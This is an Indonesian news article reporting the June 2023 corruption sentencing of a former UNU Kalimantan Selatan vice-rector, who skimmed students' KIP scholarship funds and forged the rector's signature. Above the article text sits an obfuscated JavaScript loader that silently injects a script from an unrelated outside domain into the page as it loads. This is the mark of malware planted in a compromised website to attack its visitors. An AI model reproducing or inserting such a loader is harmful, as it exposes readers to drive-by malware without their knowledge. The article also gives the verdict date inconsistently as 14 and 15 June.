(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus korupsi dana beasiswa Kartu Indonesia Pintar (KIP) mahasiswa Universitas Nahdlatul Ulama (UNU) Kalimantan Selatan (Kalsel) telah diputus majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.
Terkuak dalam pertimbangan majelis hakim, terdakwa Rif’atul Hidayat melakukan pemotongan dengan modus untuk asuransi jiwa, skripsi, wisuda, dan sebagainya untuk kepentingan kampus.
Namun, bukannya untuk kepentingan kampus, uang hasil pemotongan tersebut dinikmati sendiri untuk kepentingan pribadi.
“2020-2021, semester 1 sebesar Rp 3 juta, semester Rp 2,4 juta, semester 3 Rp 2,5 juta,” kata Ketua Majelis Hakim Jamser Simanjuntak saat sidang putusan, Rabu (15/6/2023) malam.
Baca juga: Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar
Pertama terdakwa memerintahkan saksi Deska Serliani Kabag Akademik untuk membuat surat tentang permohonan pendebitan rekening mahasiswa penerima KIP Kuliah 2020 sebesar Rp 3 juta kepada pimpinan Bank Mandiri Cabang Lambung Mangkurat.
Surat tersebut dilampiri nama 263 mahasiswa berserta nomor rekening dan ditandatangani terdakwa dengan memalsukan tanda tangan Dr Najdmi Akbar -Rektor UNU Kalsel-.
“Total Rp 789 juta dipindahbukukan ke rekening UNU Kalsel,” kata Majelis Hakim Jamser Simanjuntak.
Kemudian terdakwa melalui saksi kembali membuat surat tanggal 28 Januari 2021 pendebitan rekening penerima KIP, dilampiri 14 nama mahasiswa masing-masing Rp 3 juta.
Terdakwa kembali memalsukan tanda tangan rektor, dengan total pemotongan sebesar Rp 42 juta.
Baca juga: Tren Turun, RSUD Ulin Banjarmasin Catat 22 Kasus DBD Periode Januari-Mei
Kemudian kembali memerintahkan membuat surat yang sama tanggal 2 Februari 2021, dengan total pendebitan uang Rp 51 juta dipindahbukukan ke rekening UNU.
Lalu pada tanggal 8 Maret 2021, pendebitan dilakukan sebesar Rp 2,4 juta dilampiri 294 nama mahasiswa penerima KIP. Surat tersebut dengan melakukan scan komputer tandatangan rektor UNU Kalsel.
“Pada saat itu yang bisa didebit bank mandiri hanya 289 mahasiswa, total Rp 660 juta dan Rp 330.600.000,” ujar Jamser.
Lalu terdakwa memerintahkan saksi Dwi ananda membuat surat tanggal 20 Oktober 2021, Rp 2,5 juta dilampiri 294 nama mahasiswa.
Kali ini yang berhasil didebit hanya 276 mahasiswa dengan total Rp 90 juta dipindahkan ke rekening UNU Kalsel.
Baca juga: Lapak Penjual Kambing di Martapura Masih Sepi, Harga Naik Dekati Iduladha
Menurut hakim, terdakwa juga ada melakukan pengembalian sejumlah dana ke mahasiswa yang sudah dilakukan pemotongan karena tidak sesuai dengan Surat Rektor.
Semester 1 pengembalian 600 ribu kepada 150 mahasiswa, total 90 juta. Lalu semester 3 pengembalian uang Rp 350 ribu 128 mahasiswa, total Rp 48.800.000,” jelas Jamser.
Selain itu, terdakwa juga melakukan pemotongan kepada mahasiswa penerima KIP yang melakukan program perkuliahan khusus di Sungai Danau dan Batulicin, Kabupaten Tanah Bumbu dan di Sambung Makmur, Kabupaten Banjar.
Dengan rincian 65 mahasiswa Sungai Danau dan Batulicin, Sambung Makmur 8 dan 33 mahasiswa khusus semester 1, kemudian ada mahasiswa tidak aktif alias fiktif sebanyak 38 mahasiswa.
“Total Rp 477 juta tarik tunai oleh saksi melalui ATM diserahkan kepada terdakwa,” kata majelis hakim.
“Khusus mahasiswa daerah Sambung Makmur juga diminta membayar tunai Rp 1,1 juta pada semester 2 dan Rp 1 juta semester 3, jumlah total Rp 69 juta,” jelas Jamser.
Kemudian terdakwa melakukan pendebitan dari overbooking di rekening giro Bank Mandiri berbentuk cek. Itu dilakukan dengan meminta tanda tangan kepala bagian keuangan dan tanda tangan rektor dipalsukan.
“Cek tersebut ada yang dicairkan langsung terdakwa, dan saksi Deska selaku Kabag Akademik dengan perintah terdakwa,” kata majelis.
Berdasarkan perhitungan DKPP Kalsel, total kerugian negara akibat perbuatan terdakwa melakukan pemotongan dana KIP mahasiswa UNU Kalsel sebesar Rp 2,7 miliar.
Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar
Baca juga: Wawali Wartono: Jangan Dipersulit, Permudah Layanan di Kecamatan dan Kelurahan
Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin memvonis mantan wakil rektor 1 bidang Akademik dan Penelitian Universitas Nahdatul Ulama (NU) Kalimantan Selatan H Rif’atul Hidayat dengan pidana 5 tahun penjara dan denda 200 juta subsider 2 bulan.
Rif’atul Hidayat juga diwajibkan membayar ganti rugi sebesar Rp 1,9 miliar atau jika tidak dapat membayar diganti dengan pidana 2 tahun 6 bulan penjara.
Vonis tersebut dibacakan oleh ketua majelis hakim Jamser Simanjuntak bersama dua anggotanya di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (14/6/2023) sekitar pukul 18.30 Wita.
Dalam pertimbangannya, majelis hakim berpendapat terdakwa Rif’atul Hidayat terbukti berdasarkan dakwaan melakukan korupsi bantuan biaya kuliah Kartu Indonesia Pintar (KIP) mahasiswa kampus UNU Kalsel pada 2020-2021 senilai Rp 2,7 miliar.
Sehingga dari pertimbangan diatas perbuatan tindak pidana korupsi sebagaimana dakwaan primer Pasal 2 ayat (1) Undang-undang Pemberantasan Tipikor menurut majelis telah terpenuhi.
Baca juga: DPD BKPRMI Balangan Dilantik, Ini Pesan Bupati Abdul Hadi
“Unsur melawan hukum, unsur memperkaya diri sendiri, dan unsur merugikan keuangan/perekonomian negara telah terpenuhi,” kata majelis hakim.
Kemudian untuk hal yang memberatkan terdakwa disebutkan tidak mendukung program pemerintah dalam pemberantasan Tipikor, kemudian menciderai citra lembaga pendidikan.
“Hal yang meringankan terdakwa tidak pernah dihukum, berlaku sopan di persidangan, dan menyesal,” kata Jamser.
Putusan 5 tahun penjara tersebut lebih ringan dari tuntutan JPU, sama halnya untuk putusan ganti rugi lebih dibawah dari tuntutan JPU.
Sebelumnya terdakwa dituntut oleh JPU dari Kejari Banjar dengan pidana 7 tahun dan enam bulan penjara denda 300 juta subsider 3 bulan penjara.
Baca juga: Bahagia di Balik Senyum, Bantuan 377 Tabung Gas Gratis untuk Banjarmasin Barat
Kemudian JPU juga menuntut terdakwa membayar ganti rugi negara sebesar Rp 2,7 miliar atau diganti dengan pidana 3 tahun dan 9 bulan penjara.
Sebelumnya pada saat penyidikan terdakwa tidak dilakukan penahanan, baru sejak tanggal 12 Januari 2023 Jingah sekarang dilakukan penahanan saat proses persidangan.
Usai pembacaan putusan, terdakwa melalui penasehat hukumnya mengatakan akan mempertimbangkan terlebih dahulu sebelum memutuskan akan mengajukan banding atau menerima putusan.
Hal yang sama juga diungkapkan JPU dari Kejari Banjar yang memilih pikir-pikir selama waktu 7 hari yang diberikan majelis hakim Pengadilan Tipikor Banjarmasin.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : kk
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
This website uses cookies.